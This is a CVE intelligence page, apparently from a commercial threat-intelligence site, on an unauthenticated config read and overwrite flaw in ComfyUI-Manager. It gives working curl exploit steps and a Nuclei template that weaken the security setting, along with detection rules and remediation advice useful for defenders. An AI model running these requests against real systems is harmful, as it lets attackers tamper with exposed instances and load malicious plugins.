☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Comfyui logo [ WEBSITE ] [ VENDOR STATS ]
SOON 🐛 CWE-420
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-67303

CVE-2025-67303 is a critical vulnerability in ComfyUI-Manager versions prior to 3.
📅 PUBLISHED: 2026-01-05 00:00 UTC 🔄 UPDATED: 2026-09-23 20:40 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.41%
👁️
1.41% probability
35.3× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
Country: United States License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-67303 is a critical vulnerability in ComfyUI-Manager versions prior to 3.38. The flaw stems from an insecure file storage location (CWE-420) that is accessible via the web interface, allowing remote unauthenticated attackers to read and overwrite configuration files and other critical data. The vulnerability has a CVSS score of 9.8 and is trivial to exploit, requiring only network access to the web interface. Public proof-of-concept code exists, and a Nuclei template is available for automated scanning. Immediate patching to version 3.38 is required.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects the ComfyUI-Manager package, which is a critical component of the ComfyUI ecosystem. The insecure storage of user data files (e.g., config.ini) in a web-accessible directory (/userdata/) means that any attacker with network access can manipulate the application's configuration. This could lead to supply chain attacks if the configuration is used to load malicious models or plugins. Organizations using ComfyUI in production or CI/CD pipelines should treat this as a high-priority supply chain risk.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.8 (Critical)
  • Attack Vector: Network (AV:N)
  • Attack Complexity: Low (AC:L)
  • Privileges Required: None (PR:N)
  • User Interaction: None (UI:N)
  • Scope: Unchanged (S:U)
  • Confidentiality Impact: High (C:H)
  • Integrity Impact: High (I:H)
  • Availability Impact: High (A:H)

The threat level is Critical due to the ease of exploitation, lack of authentication requirements, and the potential for full compromise of the application's configuration and data.

Deep Dive & Mechanics

The vulnerability exists because ComfyUI-Manager stores its configuration and user data files under the /userdata/ directory, which is served directly by the web server without proper access controls. The web interface does not restrict access to this directory, allowing any unauthenticated user to read and write files.

The core issue is a violation of the principle of least privilege and improper separation of web-accessible and non-web-accessible directories. The application should store sensitive configuration files outside the web root or implement strict authentication and authorization checks before serving them.

The Nuclei template demonstrates the exploit:

  1. Read: A GET request to /userdata/ComfyUI-Manager%2Fconfig.ini retrieves the configuration file.
  2. Write: A POST request to the same path with arbitrary content overwrites the configuration.
  3. Verify: A second GET request confirms the overwrite.

The URL-encoded %2F is used to bypass potential path traversal protections, but the core issue is the lack of access control on the /userdata/ endpoint.

Vulnerable vs. Patched Code

Vulnerable (pre-3.38): The application stores files in a web-accessible directory without authentication. The web server configuration likely includes a static file handler for /userdata/ that serves all files without restriction.

# Example vulnerable configuration (conceptual)
# The web server serves /userdata/ directly
# No authentication middleware is applied to this path

Patched (3.38+): The patch moves sensitive files outside the web root or adds authentication middleware. The migration guide indicates that user data is now stored in a non-web-accessible location, and the web interface uses API endpoints with proper authentication to access it.

# Example patched configuration (conceptual)
# Files are moved to a directory outside the web root
# API endpoints with authentication are used to access data

Exploitation & Lab Setup

Red Team

Lab Setup:

  1. Deploy a vulnerable ComfyUI-Manager instance (version < 3.38) using Docker or a local installation.
  2. Ensure the web interface is accessible on port 8188 (default).

Exploitation Steps:

  1. Read Configuration:
    curl -X GET http://target:8188/userdata/ComfyUI-Manager%2Fconfig.ini
    
  2. Overwrite Configuration:
    curl -X POST http://target:8188/userdata/ComfyUI-Manager%2Fconfig.ini \
      -H "Content-Type: application/octet-stream" \
      -d "[default]
    security_level = weak"
    
  3. Verify Overwrite:
    curl -X GET http://target:8188/userdata/ComfyUI-Manager%2Fconfig.ini
    

Advanced Exploitation:

  • Modify the configuration to disable security features or load malicious plugins.
  • Use the same technique to overwrite other files in /userdata/ (e.g., model lists, custom node configurations).

Blue Team

Detection:

  • Monitor for GET/POST requests to /userdata/ paths, especially those containing %2F or config.ini.
  • Alert on any write operations to /userdata/ from external IPs.
  • Use the provided YARA and Sigma rules for file and log-based detection.

Hunting:

  • Search web server logs for requests to /userdata/ with non-standard HTTP methods (POST, PUT, DELETE).
  • Check for unexpected changes to configuration files in the /userdata/ directory.

Containment:

  • Immediately block access to /userdata/ at the web server or reverse proxy level.
  • Restrict network access to the ComfyUI web interface to trusted IPs only.
  • Apply the patch to version 3.38 or later.

Indicators of Compromise (IOCs)

  • File Paths:
    • /userdata/ComfyUI-Manager/config.ini
    • /userdata/ComfyUI-Manager%2Fconfig.ini
  • HTTP Requests:
    • GET/POST to /userdata/ComfyUI-Manager%2Fconfig.ini
    • POST with Content-Type: application/octet-stream to /userdata/
  • Log Entries:
    • Web server logs showing 200 responses to /userdata/ paths from external IPs.
  • Configuration Changes:
    • Unexpected modifications to security_level or other settings in config.ini.

Detection Engineering

YARA Rule

rule CVE_2025_67303_ComfyUI_Config_Overwrite {
    meta:
        description = "Detects attempts to overwrite ComfyUI-Manager configuration via CVE-2025-67303"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-67303"
        severity = "critical"
    strings:
        $config_path = "/userdata/ComfyUI-Manager%2Fconfig.ini"
        $config_path2 = "/userdata/ComfyUI-Manager/config.ini"
        $post_method = "POST"
        $config_content = "[default]"
    condition:
        any of ($config_path*) and $post_method and $config_content
}

Sigma Rule

title: CVE-2025-67303 ComfyUI-Manager Configuration Overwrite
id: 8a3b2c1d-4e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to ComfyUI-Manager configuration file path
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem|contains: '/userdata/ComfyUI-Manager'
        cs-uri-stem|endswith: 'config.ini'
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-67303 ComfyUI-Manager Configuration Overwrite Attempt"; flow:to_server; http.method; content:"POST"; http.uri; content:"/userdata/ComfyUI-Manager"; content:"config.ini"; distance:0; within:100; classtype:attempted-admin; sid:1000001; rev:1;)

Nuclei Template

id: CVE-2025-67303

info:
  name: ComfyUI-Manager < 3.38 - Configuration Overwrite
  author: maciejklimek
  severity: critical
  description: |
    ComfyUI-Manager < 3.38 contains an insecure file storage vulnerability caused by storing files in an insufficiently protected location accessible via the web interface, letting remote attackers manipulate configuration and critical data, exploit requires web access.
  impact: |
    Remote attackers can manipulate configuration and critical data, potentially compromising application integrity and security.
  remediation: |
    Update to version 3.38 or later.
  reference:
    - https://github.com/Comfy-Org/ComfyUI-Manager/blob/main/docs/en/v3.38-userdata-security-migration.md
    - https://github.com/vulhub/vulhub/blob/master/comfyui/CVE-2025-67303/README.md
    - https://github.com/Comfy-Org/ComfyUI-Manager/blob/main/docs/en/v3.38-userdata-security-migration.md
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2025-67303
    epss-score: 0.01666
    epss-percentile: 0.82174
    cwe-id: CWE-420
  metadata:
    verified: true
    max-request: 3
    vendor: comfy-org
    product: comfyui-manager
    shodan-query: http.title:"ComfyUI"
  tags: cve,cve2025,comfyui,comfyui-manager,intrusive,vuln

http:
  - raw:
      - |
        GET /userdata/ComfyUI-Manager%2Fconfig.ini HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /userdata/ComfyUI-Manager%2Fconfig.ini HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/octet-stream

        [default]
        security_level = weak

      - |
        GET /userdata/ComfyUI-Manager%2Fconfig.ini HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "contains_all(body_1, '[default]', 'security_level')"
          - "contains(body_3, 'security_level = weak')"
          - "status_code_1 == 200 && status_code_3 == 200"
        condition: and

Remediation & Mitigation

Immediate Actions:

  1. Patch: Update ComfyUI-Manager to version 3.38 or later immediately.
  2. Access Control: If patching is not possible, restrict access to the /userdata/ path at the web server or reverse proxy level (e.g., using Nginx deny all or Apache Require all denied).
  3. Network Segmentation: Ensure the ComfyUI web interface is not exposed to the public internet. Use a VPN or firewall to restrict access to trusted IPs.

Long-Term Measures:

  • Implement proper authentication for all administrative endpoints.
  • Store sensitive configuration files outside the web root.
  • Conduct regular security audits of web application file storage practices.
  • Monitor for similar CWE-420 vulnerabilities in other components.

Valters IT Signature


Report generated by Valters IT DevSecOps & CTI Division. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: B2EFE61DD58C954C69E7981D] */}

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-67303/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.